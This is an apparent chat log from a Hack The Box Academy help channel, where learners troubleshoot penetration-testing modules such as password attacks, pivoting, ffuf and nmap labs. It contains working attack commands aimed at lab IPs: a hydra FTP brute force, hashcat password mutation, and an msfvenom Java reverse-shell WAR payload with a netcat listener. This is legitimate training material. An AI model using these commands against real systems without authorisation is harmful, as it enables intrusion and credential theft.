eJPT is just something to get your feet wet and see if you're interested

[worthy temple]

I dont really care about the certification, I care about the knowledge

[hallow kiln]

if you care about knowledge, CPTS is what you want

[wet kite]

there is plenty in the academy. just look through it.

[rustic sage]

If you only care about knowledege don't do any certs lol

[worthy temple]

Yea I learnt from INE academy shitty course haha

[worthy temple]

But you need some motivation after all dont you?

[next bronze]

if you want a benchmark, do an easy/medium box and see how far you can get

[fossil crescent]

I added the /s tag as I was being sarcastic. You passed your eJPT -- that's fantastic -- celebrate the win. But if you truly are that unaware (as your response to me suggests)... I truly feel bad, as you are blissfully unaware of how little you truly know. That said, keep on keeping on, as at the end of the day, we are truly know little -- it's just having the self-awareness to know that we know nothing vs. the igorance to think we are that good.

[rustic sage]

My motivation is learning, if you need external pressure that's on you to pay for it.

[worthy temple]

Seems like it will be hard enough for me, I think that medium is the maximum for now

[hallow kiln]

try it out, active boxes are free and don't come with write-ups

[next bronze]

with respect, I have ejpt, and I'll be very surprised an ejpt holder can do an easy box without problems

[worthy temple]

So just go for the Machines Section?

[worthy temple]

Ok i trust you

and depends on the box, Linux box it's easier for me (becuase of my experience as developer)

Lol nice

You're giving me good advices (for real)

[heavy marsh]

Finally got the hash on the attacking common services SQL module, but -m 1000 mode on hashcat is saying no hash loaded.

What type of hash is this?

[hallow kiln]

Net-NTLMv2

[worthy temple]

Seems like there are retired machines easy level for free

[next bronze]

read the section please, it tells you there

[hallow kiln]

entirely different thing from NTLM

but yeah, the section explains it including which hashcat mode it is

[tranquil axle]

all active machines are free (but you are on a shared vm with others, so there might be left over exploits from othr users). Just try some of the active machines and see how you feel before jumping into VIP and retired machines

[worthy temple]

But in Pentesting there are many fields, Even for a CTFs, There are WEB pentest and network pentest and server pentest and many more, I should chose my field am i?

[rustic sage]

Didn't you say you were a cybersecurity graduate?

[next bronze]

you should be decent at all fields then specialise into one if need be

[heavy marsh]

It says NTLMv2

[worthy temple]

Yes, Low level reverse engineering field BOF and shit

[heavy marsh]

That's mode 1000 right?

[worthy temple]

code research

[hallow kiln]

No, 1000 is NTLM

[rustic sage]

What's your favourite disassembler?

[tranquil axle]

if you want something more specific look at the challenges, they have some for reversing or the web section has you read the code of a webapp and find a vulnerability you wouldn't otherwise find so easily

again the active challenges are free, the retired ones require vip

[worthy temple]

We've used gdb

The Art of Software Security Assessment: Identifying and Avoiding Software Vulnerabilities. By Mark Dowd, John McDonald, Justin Schuh. Addison-Wesley, 2006

and cryptographic

[hidden trellis]

Hi is it possible to get some help on this please, is this broken?

[rustic sage]

pretty sure that's not a disassembler

but yeah, good luck on your journey

[heavy marsh]

Okay, found it NTLMv2's mode I think. -5600? Do I use the whole thing or take out the username and domain?

[hallow kiln]

whole thing as you see it

[wet kite]

im doing linux buffer overflow right now and it uses gdb for disassembly

[heavy marsh]

Okay, maybe 5600 wasnt correct? Hashcat shows status "exhausted"

[next bronze]

huh how is gdb not a disassembler lol

[heavy marsh]

🤷‍♂️

[hallow kiln]

which list are you using?

[worthy temple]

i did not use any "known dissasembler" (just like ghidra) I've just exploit vulnerabilities in code just like BOF and jumping to critical sections in a code, Override vptr in C++ code and etc...

[heavy marsh]

The one in the resources for the module

[worthy temple]

thats right

[heavy marsh]

pws.list

[next bronze]

try rockyou

[worthy temple]

So there are reverse engineering or BOF challenges in HTB too?

[hallow kiln]

I didn't use rockyou, but it's probably in there

[rustic sage]

gdb can show disassembled output but it is not a disassembler afaik

[next bronze]

challenges > reversing

[heavy marsh]

Yeah, that worked, it wasn't in pws.list

[worthy temple]

The Ghidra is the real dissasmbler for reverse engineering afaik

[heavy marsh]

Thank you!

I wonder why the pws.list doesn't have it?!

[hallow kiln]

I've got two lists from that module, one was found somewhere else

[worthy temple]

@rustic sage So HTB has this kind of challenges too?

[worthy temple]

@wet kite this question directed to you too

[rustic sage]

Dunno, did all my work for RE on offsec, I'm sure others can help you better wrt HTB content.

[heavy marsh]

So I got the password and it worked as the answer, but it's not working to log in

[next bronze]

lol didn't I replied challenges -> reversing

[hallow kiln]

are you using windows authentication?

[wet kite]

yeah, academy has some modules on it. BOF and assembler code. Also the challenge section in HTB should have something like that, didn't look into that one much so far.

[heavy marsh]

No, I'm using sqsh like I did for the supplied credentials

Am I supposed to RDP or something?

[worthy temple]

What do you mean by challenges -> reversing? Sorry for missunderstanding lol

[fathom pendant]

You might have to supply a flag like -windows-auth or something

[next bronze]

htb platform, challenges section, there are specific reversing challenges

and the pwn challenges also has bof

[worthy temple]

Wtf so now I have Machines section, And Challenges section, What should i use

Oh wow

[next bronze]

like I said, do whatever interests you

[hallow kiln]

I never use that, tbh, mssqlclient.py is my preferred choice and it's better imo

[next bronze]

it also depends on which area you want to learn, do you want to continue on what you already know? or leaning new things

[worthy temple]

Oh so in Challenges section you can determine by type of what kind of challenge you would like to complete, Those challenges are the same as we have inside the Machines section but it's just arranged and sorted by subjects?

[next bronze]

challenges only has one flag, and it's usually shorter than a machine, you get a docker container to hack instead of a full os

[worthy temple]

"Challenges" Section has the machines inside the "Machines" Section just sorted and arranged into subjects?

[worthy temple]

Oh so it's different from Machines, Ok...

Can i arrange the Machines by subjects too?

[heavy marsh]

Login failed there too

[hidden trellis]

In the Advanced XSS and CSRF Exploitation skills assessment, should I be able to log in? It logged in fine for me a week ago but now its not...

[next bronze]

only for retired machines, use advanced search to choose the area of interest

[hallow kiln]

did you use the -windows-auth flag? cause otherwise it default to kerberos

[next bronze]

I do vaguely remember that I had to use sqsh, not too sure tho

[worthy temple]

Dam that helped alot

[hallow kiln]

I have it in my notes, I used mssqlclient, but I'm sure sqsh can be used as well

[next bronze]

ah ok then I guess it's skill issue

[worthy temple]

So i can see there are many "low level" challenges there

[heavy marsh]

Okay, that worked. Did I miss something in a previous module?

[worthy temple]

i meant BOF and code vulnerability exploit

i dont know how it's called

[next bronze]

think it's time to move the chat to somewhere else, this channel is used for academy module topics

[hallow kiln]

it's in the footprinting module, if not directly in the attacking common services

[worthy temple]

Thanks man

[next bronze]

if you get verified and wants to continue the topic, drop me a ping

[worthy temple]

[heavy marsh]

Cool, found it, thanks!

[gray merlin]

Do you remember where? I have been looking for it. Trying to figure out how I missed it.

[hallow kiln]

the section on MSSQL

near the end

[gray merlin]

OK. Haven't got that far yet:

[next bronze]

--local-auth is not just limited to mssqlcient.py btw, it's available in most impacket tools that uses windows auth

[hallow kiln]

footprinting, not the SQL injection modules

[gray merlin]

Also CME/NXC.

[hallow kiln]

oh wait, sorry mate, you were referring to an entirely different thing

[gray merlin]

lol. All good.

[hallow kiln]

based on a quick search in my notes, it appears the first time we see it is in the Password Attacks module

[gray merlin]

Frustrating. It looks like I didn't miss it then it is just not mentioned.

[hallow kiln]

you haven't done that one?

[next bronze]

sometimes you just gotta read the manual

[gray merlin]

I am on hard right now and needed it.

[gray merlin]

thanks.

[hallow kiln]

which module, sorry?

[gray merlin]

password attacks. The hard exercise.

[hallow kiln]

then yeah, it is mentioned in that very module

[gray merlin]

Do you know where?

I have searched and come up empty.

[hallow kiln]

yes, one moment

windows lateral movement under the pass-the-hash section

[gray merlin]

Thank you!

[hallow kiln]

you're welcome

[tiny yacht]

I got the flag, fun fact sth was wrong with my target or sth. I used the pnwbox and it worked. Btw u can use wget command and specify port other than 80 bro

[heavy marsh]

Why did the flag show up like this?

b'HTB{SPOILERS}'

that's what the whole thing looked like with "SPOILERS" to replace the actual flag

what is the b' ' ?

This is for the SQL flag in attacking common services

[keen compass]

Hi, I have a bloodhound question : Documentation & Reporting Practice Lab, I observe a weird behaviour:
After running bloodhound-python (as Domain Admin), I cannot find the relationship that link Remote Desktop Users group on DEV01
This information seems to be potentially visible through bloodhound since it is written as a Finding in the obsidian folder.

I have run multiple times bloodhound and don't get this info.
Any idea please ? would this be a limitation of bloodhound-python ?

[keen compass]

the b' is a string representation in python (sqlmap is coded in python)

[gray merlin]

It is bytes, not string.

[next bronze]

did you try with sharphound

[keen compass]

No, was thinking about trying this tomorrow in bed now :D) thanks for the suggestion

[next bronze]

I've ran into instances where bloodhound didn't get all the edges

[red current]

Anyone have any hints for the Tapping in to ETW section in WINDOWS EVENT LOGS & FINDING EVIL?

[sterile turtle]

opa

I need someone to hack someone for me, she stole my account, and I don't really understand that

[acoustic owl]

What have you tried and what is not working?

[acoustic owl]

Contact the local police station

[sterile turtle]

bru, ok, tanks Bro

It was a game account, I don't know if you can help me

it was on roblox

[acoustic owl]

Read #rules

Contact Roblox Support and the local police

Nobody can do anything for you here

[hallow kiln]

what you're asking for is illegal, no one's going to help with that

[red current]

I've tried running the SilkETW in conjunction with SeatBelt as the module shows, and when I open the etw json file, there's nothing ever there that corresponds with what the question is looking for.

[acoustic owl]

Search for ManagedInteropMethodName in this json File

[red current]

Yep, I've done that and I can't find anything that conforms to what the question is looking for. I just respawned the instance to see if I might have misconfigured something.

[hard obsidian]

Hello Everyone, I'm new to the crew (cyber). Going through information security skill path on HTB !

[heavy marsh]

Getting an error on Attacking DNS from Attacking Common Services module

I already used subbrute, but the dig command is not working.

[next bronze]

the @ should be the ns

[heavy marsh]

there was only hr.inlanefreight.htb

is inlanefreight.htb the nameserver then?

I have it backwards?

[next bronze]

do you think hr will be a nameserver?

[green aurora]

guys any hint in this im stuck here Submit the number of all "A" records from all zones as the answer. footprinting module

[heavy marsh]

I figured it out, my command was backwards

[plain coral]

nothing more annoying then being halfway through a skills assessment and the Pwnbox instance running out of life sigh

[quasi wave]

hi I'm still on the last exercise of the intro to nmap module. I started taking notes of the whole module again from scratch but I am wondering if I should just look at a walkthrough of the module or read through the whole module again straight through. I watched an entire YouTube playlist of Nmap by hackersploit so its just a thought.

what do you think?

I have been on the last exercise of the Nmap module for weeks and forgotten a lot of what I have learned.

but I don't want to cheat because I want to learn

is there a walkthrough by section so I can relearn everything from previous sections in YouTube video and just skip the walkthrough for the last section?

is it a bad idea to do a walkthrough of it?

[plain coral]

The target IP is the nameserver

[ebon minnow]

mutated the password from the hint and tried kira but cant get in

any tips?

[plain coral]

yes, try brute forcing a different service not ssh

[plain coral]

hydra -l kira -P mut_password.list ftp://10.129.43.39

[ebon minnow]

i mutated it with best64, just renamed it to something else

[plain coral]

mutate it with the given resources

[plain coral]

Also, I believe there was a hint about the password just mutate the hint or words related to it, it will decrease the time taken to brute.

Use the rule given in the resources to mutate that list the password has a 0 in it

hashcat --force password.list -r custom.rule --stdout > mut_password.list

[ebon minnow]

i am dumb lol

thanks!

[plain coral]

Your not dumb, we all deviate from the resources/modules from time to time. Every time I've been stuck or hit a roadblock, the answers are always in the materials

[ebon minnow]

oh ok

[plain coral]

And make sure you write all passwords you find down because iirc there are a few credential reuse questions 😉

[plain coral]

Are you talking about the Hard Lab?

[pseudo zenith]

hi

anybody here?

i cant unlock modules

am I only one with this problem here

: )

[ebon minnow]

do i need to brute force the hashes manually for Passwd, Shadow & Opasswd?

[hidden trellis]

can anyone tell me if this is the correct app for the skills assessment in ADVANCED XSS AND CSRF? I have had two different apps load at different times

[fathom pendant]

Use the mutated password list

This module makes heavy use of the mutated list

[real summit]

Morning, bit lost on Pivoting, Tunneling, and Port Forwarding module Skills Assessment.
Stuck on last question in finding DC.
I'm in host ||PIVOTWIN10 Ip 172.16.6.25||.
I also see network ||172.16.10|| where I have two IPs ||172.16.10.5 ||and|| 172.16.10.25||. Can' t connect to neither of them. What am I missing?

[unreal granite]

Hi Everyone got a hashcat question here hope i can get some help iam trying to crack a hash with hashcat but i cannot cat the outputfile whatsoever what am i doing wrong ?

[silent oriole]

Hi, Trying to establish a rdp(xfreerdp) to foothold box. however, session keeps dropping.
[11:04:26:999] [3504:3505] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[11:04:26:999] [3504:3505] [ERROR][com.freerdp.core] - failed to connect to 10.129.204.126

Any solution please.

[unreal granite]

try to add /display-resolution in the end of your command like this xfreerdp /v:targetip /u:user /p:1231 /dynamic-resolution

[silent oriole]

Still getting the same error. (It's from the pwnbox)

[unreal granite]

reset target?

[silent oriole]

I'm experiencing the issue from yesterday. Did reset it. Will give it another go

[unreal granite]

tell me if that helped 🙂

[silent oriole]

Still getting the same error.
[11:23:50:788] [4281:4282] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[11:23:50:788] [4281:4282] [ERROR][com.freerdp.core] - failed to connect to 10.129.106.209

[unreal granite]

hmm do you have own distro set up )

?

[undone narwhal]

do you have privileges to RDP? also what command are you using

[sly dome]

for sure it has to be the special characters on password

[silent oriole]

Yes. I have tried from there as well. the same error is thrown

[silent oriole]

Yes. xfreerdp

[unreal granite]

maybe yes

try with ''

[sly dome]

password has $ or ! use single quotes

[silent oriole]

Double quotes worked! hope the connection stays now.

Single quotes was throwing the error.

[unreal granite]

magic 😄

[sly dome]

double quotes with $ wont work.

[silent oriole]

That didn't long enough. Dropped out again.
[11:30:46:666] [4398:4399] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 110: Connection timed out
[11:30:46:666] [4398:4399] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[11:30:46:666] [4398:4399] [INFO][com.freerdp.client.common] - Network disconnect!

[sly dome]

fix your internet

[silent oriole]

True.

[silent oriole]

Just checked on that, there isn't any packet loss. 50 up and 20 down.

[misty current]

Can you add a bit more context as to what you've done near to pivoting on the pivot machine and how you're connecting to other hosts, also what error do you get.

[unreal granite]

did you try it wih the resolution flag ?

[silent oriole]

Yes. i haven't taken it out

Internet is stable, as my VNC session doesn't drop. However, only the rdp session keeps droping.

[real summit]

I create dynamic port forwarding on 1st host using ssh.
Then I RDP with ||mlefay ||on ||172.16.5.35||. Got creds for ||vfrank ||and next machine is ||172.16.5.35||.
From there I can see|| 172.16.10.x|| network.
I RDP directly to ||172.16.10.5|| and pivot via ||SocksOverRDP||. Host is not reachable.

[mystic trench]

Can somebody help me a little bit with Attacking Thick Client Application.Please

[south glen]

hey guys i m kind of stuck at shells and payloads modules live engagement host no. 1 i m not able to get reverse shell after uploading the shell and when accessing it , it throws 400, 404 error

[silent oriole]

Hi, Could you please provide the command used to establish the rdp connection to the foothold machine. It keeps dropping for me.

[unreal granite]

could you paste the command you use here ?

[silent oriole]

xfreerdp /v:10.129.106.209 /u:htb-student /p:'HTB_@cademy_stdnt!' /dynamic-resolution

[unreal granite]

i used your command and got in directly without a prob and the connection is stable

[unreal granite]

try to use your own distro

[silent oriole]

I get the same error on my own distro as well. I shall try on a different network later.

[sly dome]

regenerate vpn

also try TCP

[unreal granite]

maybe there is a vpn interfiering ?

[silent oriole]

Yeah sure.

[silent oriole]

I don't use any 3rd party vpn

I shall try with a TCP vpn.

[unreal granite]

yeah thats most stable one prop

[silent oriole]

That made the connection stable.
Thanks @sly dome @unreal granite

[unreal granite]

np

[supple trench]

hello

[unreal granite]

Hi

[tranquil tree]

so I was looking through some of the pfSense documentation and stumbled upon the Lawrence Tech services's web page where they explain the recent change (a few months) features of pfSense CE and addtion of pfSense Plus
https://forums.lawrencesystems.com/t/differences-in-pfsense-plus-vs-pfsense-ce-in-july-2023/18078
The key difference they have in this link, I understand some of the stuff they are comparing to but will it affect me in any way for which I would have to buy its plus package? Or should I shift to OPNsense which is a fork of pfSense.
I need someone to explain the key differences mentioned in this link so I can make a clear decision on what product I should stick to.

ffs I cant send the key message here

from Boot Environments to IPsec Export: Windows Powershell

[umbral fulcrum]

hey guy, I'm stuck on "Attacking Thick Client Applications"

can some one please help?

[thorn ingot]

damn okay

[fathom pendant]

This has nothing to do with htb academy

[fathom pendant]

Look up walk-through for the box "Fatty"

[tranquil tree]

Its an out of syllabus question

[sly kelp]

Tell me when you figure out

[fathom pendant]

Then it's not gonna get answered here read #welcome on how to access more of the server

[south glen]

@fathom pendant can you plz help me with shell and payloads modules live engagement section host1

[fathom pendant]

@sly kelp

[fathom pendant]

Is that the tomcat one? Creds are on the jump host desktop

[sly kelp]

???

[fathom pendant]

Sorry it looks like it replied to the wrong thing

[south glen]

actually i am having problem with the payload acess

[fathom pendant]

@sly kelp

[south glen]

when i acess it from the browser it throws the error 400

[fathom pendant]

I don't think you need to include the .war extension in the url

[south glen]

okay let me try

[fathom pendant]

If you go to tomcat manager you'll be able to click it to navigate to it as well

[south glen]

still not able to connect

[fathom pendant]

Did you use the right arguments in msfvenom?

[south glen]

can i dm you the steps i took

[fathom pendant]

No

Iirc the cheatsheet has the format

Are you running your listener?

[south glen]

i used msfvenom -p java/shell_reverse_tcp LHOST=172.16.1.5 LPORT=443 -f war > shell.war

[fathom pendant]

And that's the lhost ip of the jump host?

[south glen]

i didnt got you what you are trying to ask

[fathom pendant]

Is that 172 address the ip of the attack host?

[south glen]

yes

[south glen]

yes and also ran a listner with nc -lvp 443 -s 172.16.1.5

[fathom pendant]

You don't need to specify the source

I dont recall it being that complicated once I accessed the page

And you're sure you're navigating to the right page for the file? Like I said the manager let's you go to it correctly

[south glen]

http://status.inlanefreight.local/files/shell the file i uploaded is shell.war

[fathom pendant]

Also you can replace the direct numbers with IP and PORT

So it's not spoiling

[fathom pendant]

Shouldn't it be java/jsp_shell_reverse_tcp

I knew something didn't look quite right from your msfvenom command

[wheat scroll]

Hello I have a problem with ffuf

Pls help me

[fathom pendant]

https://tenor.com/view/do-you-have-any-idea-how-little-that-narrows-it-down-that-narrows-it-down-clear-now-its-clear-now-i-understand-now-gif-21256627

[wheat scroll]

When I put ffuf with -w and -u flags It returns me Errors : number (instead of 0) and it doesn’t return the files

[fathom pendant]

It would be nice to see your command my guy

[wheat scroll]

Ok

[fathom pendant]

So we can actually tell you what you did wrong

If you're trying to upload a photo, you can't. You need to link your htb main account to discord ( #welcome )

[wheat scroll]

ffuf -w /opt/useful/Seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://94.237.54.59:39423/blog/indexFUZZ

[wheat scroll]

It doesn’t work in phone

[fathom pendant]

Why aren't you doing index.fuzz

[wheat scroll]

To recup all files that finsh with .word

Like .html

.php

It’s the module that show me this command

I didn’t use it from my knowledges

[wheat scroll]

It’s Because the module say that we don’t need to put it

[fathom pendant]

I guess if that list already inserts the .

[wheat scroll]

Ok

[fathom pendant]

idk haven't messed with it much

[wheat scroll]

It returns the same

[fathom pendant]

try resetting the target and trying with the new IP:PORT

[wheat scroll]

Ok

Thxxxx

[fathom pendant]

target probably died

that's why

[wheat scroll]

No

[fathom pendant]

[wheat scroll]

It’s not due to time

Thx

[fathom pendant]

i didn't say it was due to time

[wheat scroll]

Ok sorry

[fathom pendant]

sometimes they just die and it's dumb

[wheat scroll]

Ok

[fathom pendant]

¯_(ツ)_/¯

or you accidentally ddosed it

[wheat scroll]

Maybe

Now I am thinking about all sections that I failed

[south glen]

i deployed the payload from /manager still not able to get any response on listner

[umbral fulcrum]

got it thanx

[umbral fulcrum]

didn't find it, but I got it from the section, somehow ...
thanx

[grizzled schooner]

In addition to the pure exchange of information, SNMP also transmits control commands using agents over UDP port 161. The client can set specific values in the device and change options and settings with these commands. While in classical communication, it is always the client who actively requests information from the server, SNMP also enables the use of so-called traps over UDP port 162.These are data packets sent from the SNMP server to the client without being explicitly requested. If a device is configured accordingly, an SNMP trap is sent to the client once a specific event occurs on the server-side.

What are the traps it's talking about here?

Is it just a maliciously crafted packet?

[fathom pendant]

trap just refers to it being empty

aka it looks correct but it's not

[grizzled schooner]

ok cool thanks

[manic wolf]

So in the Pivoting, tunneling and port forwarding module, the dynamic port forwarding with SSH and SOCKS Tunneling section, I keep getting the error || socket error or timeout!|| When trying to use proxychains

I do have the VPN on

It's eu-academy-1, if it's any relevant

[rustic sage]

What are you trying to do?

[manic wolf]

|| use RDP with proxychains||

It's the module exercise

[rustic sage]

Which tool are you using? If your using chisel, drop the chisel full command.

[manic wolf]

It's just proxychains

[rustic sage]

Maybe you're not forwarding the port correctly.

[manic wolf]

I'm using the command as taught in the module 🤷‍♂️

[rustic sage]

Wait let me see the module.

[viscid zenith]

Are there any promo for black friday?

[rustic sage]

You are using ssh or msf?

[manic wolf]

SSH

[rustic sage]

Do like this :|| ssh -D 9050 ubuntu@10.129.202.64|| and add ||9050|| to your proxychains.

[manic wolf]

That I did, I'm gonna try changing the VPN server

[fathom pendant]

Why aren't you doing index.fuzz

Your example you showed doesn't have the . between index and FUZZ

[manic wolf]

Welp that didn't do much

Gonna try pwnbox then

[pale wraith]

Hi everyone, I'm confused about a thing in the footprinting medium lab, I managed to obtain ||alex user and his password enumerating NFS then I connected to rpc and tried to obtain more information, but could not get anything, so I peeked at the forum and they were talking about MySQL and I have no idea how they got to an SQL database, I enumerated all ports and it had no entry for a SQL service, and again, could not find about it using alex's credentials, how should I know there is an SQL server running? ||
ps. I still have not completed the challenge

[manic wolf]

That worked

[rustic sage]

Let me go through my notes.

[rustic sage]

You are right there is no SQL service running. What other places do you think, can contain sensitive files from external perspective?

[faint trellis]

Module "ABUSING HTTP MISCONFIGURATIONS", "Common Session Variables (Account Takeover)" . Who can hint me to bypass MFA?

[pale wraith]

Thank you very much! I will explore more, got scared when I saw there was a MySQL running and got nothing about it

[rustic sage]

No worries.

[terse sedge]

I'm in the "Attacking Web Applications with Ffuf" module. Why does ffuf produce blank results?

This happens a lot to me.

[dreamy solar]

Hello

can I have a hint for this plz ?

how can I access this directory?

[naive shell]

It helps, when you add the module and section you're working on. 🙂

[terse sedge]

"Attacking Web Applications with Ffuf" Skills assessment

This has happened all through the module, the section doesn't matter.

[naive shell]

I wasn't answering you 😅

But anyway, maybe remove some filters and check then?

Or, according to the status 200 and blank results, it could just be, that's how the server responds to inexistent files, idk.

[quasi wave]

yes

hi so I've been stuck on the hard lab for Nmap for a few weeks. I went back and watched hackersploit's YouTube playlist on Nmap. However, I have been stuck on the hard lab for a long time. Its been at least three weeks. Would it be a bad idea at this point to watch a walkthrough of Enumeration with Nmap?

would it be worth it to watch most of the walkthrough but not the hard lab part or would it be a good idea at this point to watch entire walkthrough?

[thorn urchin]

Well, I dont know anyones whose passed thats needed a walkthrough

Just cheating yourself

all the info to pass is in the section information

[quasi wave]

Ok. Is there a place where I can find a summary of everything before the hard lab that I have already completed to review and then try the hard lab again after reviewing that stuff? I think its because I have forgotten all of the information even tho I took notes.

its a lot of information is my thinking

[silver iris]

Did anyone else have trouble during the "Pass the Hash" Module in "Password Attacks"? My RDP session keeps dying and is super slow. I´m stuck here for 2 days, because i cant work properly. Any tips?

[quasi wave]

maybe I could resolve the easy and medium labs?

lets say I did easy and medium labs again. would that help?

[thorn urchin]

Yes its called your notes

[quasi wave]

no but I mean in different words.

[next bronze]

use tcp for your vpn

[thorn urchin]

Go back and review the content yourself if you havnt absorbed enough of the info yet

[quasi wave]

would redoing the easy and medium labs be a good idea?

[next bronze]

then write your notes in different words

[quasi wave]

ok what about redoing easy and medium labs?

[thorn urchin]

I dont think itd make a difference personally but may be a good idea for you

[next bronze]

if your notes aren't helping, they're not good notes

[silver iris]

Thanks i will try 🙂

[quasi wave]

isn't the hard lab a continuation of easy and medium labs?

like in terms of building upon it?

[thorn urchin]

Eh

if your missing the critical part to solve the lab then youll still be missing the critical part to solve the lab

[quasi wave]

ok thanks

so I should just redo entire section maybe?

[thorn urchin]

Redoing practice youre uncomfortable with always helps, but its not as likely to suddenly give you the insight you need

[thorn urchin]

Yes

[quasi wave]

ok thanks

[thorn urchin]

also just like experiment a lot

[undone narwhal]

did you finish solving these?

[thorn urchin]

Rote memorization wont help you much in these modules

Ive learned more by purposely experimenting and going off book or trying different ways to achieve the same result.

Figuring out WHY things dont work is just as valuable as figuring out what does work.

[frozen mango]

hi all, I am working on 'Getting Started' module under 'Public Exploits'. I am having difficulty finding the flag, I have successfully exploited the plug in. However, I am not sure what to do next/get the flag?

[silver iris]

Worked like a charm 🙂

[quasi wave]

yes

I'm actually trying out the hard lab directly because I think as I research the nmap stuff I might eventually be able to solve it

so gonna keep trying

[dusk torrent]

so after you exploited it what was the output?

[dreamy solar]

Hello why this reversed shell does'nt work ? plz

[next bronze]

wmiexec/psexec drops a shell, you don't need to set additional commands to get a rev shell

[dreamy solar]

I don't know so I follow this :

[dusk torrent]

it says it right there :)

the next step

idk if its considered a spoiler though maybe mark it as one

[frozen mango]

I checked the file that was saved...and did not find the /flag.txt anywhere

[frozen mango]

shoot, I just deleted it!

[next bronze]

which section is that

[small sage]

Check the ip+port you used to generate the reverse shell

[dusk torrent]

so it should be the contents of it that youre interested in

[dreamy solar]

It is okay 172.16.1.10

[dreamy solar]

PASSWORD ATTACKS

Pass the Hash (PtH)

[frozen mango]

the file is like 25 rows long?

[dusk torrent]

thats so strange

give me a sec

[small sage]

Are you sure that’s the ip of your listening host? From the example that looks like the ip of the dc.

[dreamy solar]

yes ^^"

[dusk torrent]

just did it and i got the flag. when you exploited it, which options did you set in msfconsole?

[small sage]

Yea you don’t put the dc ip in the reverse shell command, you put the ip of the host that you run netcat to listen on

You tell the dc which ip to serve the shell

[dreamy solar]

thanks

[obsidian sundial]

hi
i need help with beef
i want to send a link from my vm to my host
but i cant

[fathom pendant]

Don't spam your question

[quasi wave]

hi I'm getting a little closer with the Network Enumeration with Nmap Module but I don't think this page is showing me the right answer but tell me if I'm on the right track:

┌─[us-academy-1]─[10.10.15.228]─[htb-ac-605555@htb-4cxzwormnp]─[~]
└──╼ [★]$ sudo nmap -sUV -p137-138 10.129.214.148
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-20 21:28 GMT
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 21:29 (0:00:37 remaining)
Stats: 0:01:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 21:30 (0:01:07 remaining)
Stats: 0:01:29 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 21:31 (0:01:27 remaining)
Nmap scan report for 10.129.214.148
Host is up (0.072s latency).

PORT    STATE         SERVICE     VERSION
137/udp open          netbios-ns  Samba nmbd netbios-ns (workgroup: WORKGROUP)
138/udp open|filtered netbios-dgm
Service Info: Host: NIX-NMAP-HARD

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.87 seconds

can someone help me out? am I on the right track?